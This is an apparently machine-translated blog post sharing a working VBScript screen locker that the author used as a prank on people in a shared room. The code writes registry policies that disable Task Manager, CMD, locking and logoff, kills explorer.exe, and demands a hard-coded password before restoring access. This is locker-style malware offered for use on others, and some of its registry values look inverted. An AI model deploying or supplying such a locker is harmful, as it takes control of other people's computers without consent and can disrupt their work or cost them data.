I recently wrote a small VBS program, and in a shared room, the result of a lot of people suffer. . .
Features
Shut down
explorer.exe
the system interface "collapse"Modify the registry, so that
Win + L
the locking (switch user),Ctrl + Alt + Del
into safe mode, task manager and shutdown commands are disabled.Call
inputBox
command, ask for a password, only the password is correct will openexplorer.exe
and restore the registry
Code
Set shell = CreateObject("wscript.shell")
Dim key, password, maxin, waits, weight, high, tip
tip = "*********" '这个是密码提示,双引号里面的值可以改
key = ""
password = "123456789" '这个是密码,引号里面的值也可以改
maxin = 5 '最多输错几次
waits = 300 '输错maxin次后,锁定的秒数
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\noclose",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD",02,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoChangeStartMenu",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableLockWorkstation",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableChangePassword",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoConfigPage",00,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoDevMgrPage",00,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableSwitchUserOption",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogoff",01,"REG_DWORD"
shell.run "cmd Command /k taskkill /f /im cmd.exe /t"
shell.run "taskkill /f /im explorer.exe"
do
For i = 1 To maxin
key = InputBox("您的系统已经被锁定,请输入密码解锁", "系统锁定", tip)
If key = password Then
MsgBox "系统已解锁"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\noclose",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoChangeStartMenu",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableLockWorkstation",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableChangePassword",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoConfigPage",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoDevMgrPage",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableSwitchUserOption",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogoff",0,"REG_DWORD"
shell.run "explorer.exe"
shell.run "taskkill /f /im wscript.exe"
ElseIf key = tip Then
MsgBox "密码不能为空!"
i = i - 1
ElseIf key = "" Then
MsgBox "密码不能为空!"
i = i - 1
Else
MsgBox "密码错误,您还有 " & maxin - i & " 次机会"
End If
Next
For i = 0 To waits-1
shell.popup "请在 " & waits-i & " 秒后输入密码...", 1, "密码输入过于频繁"
Next
loop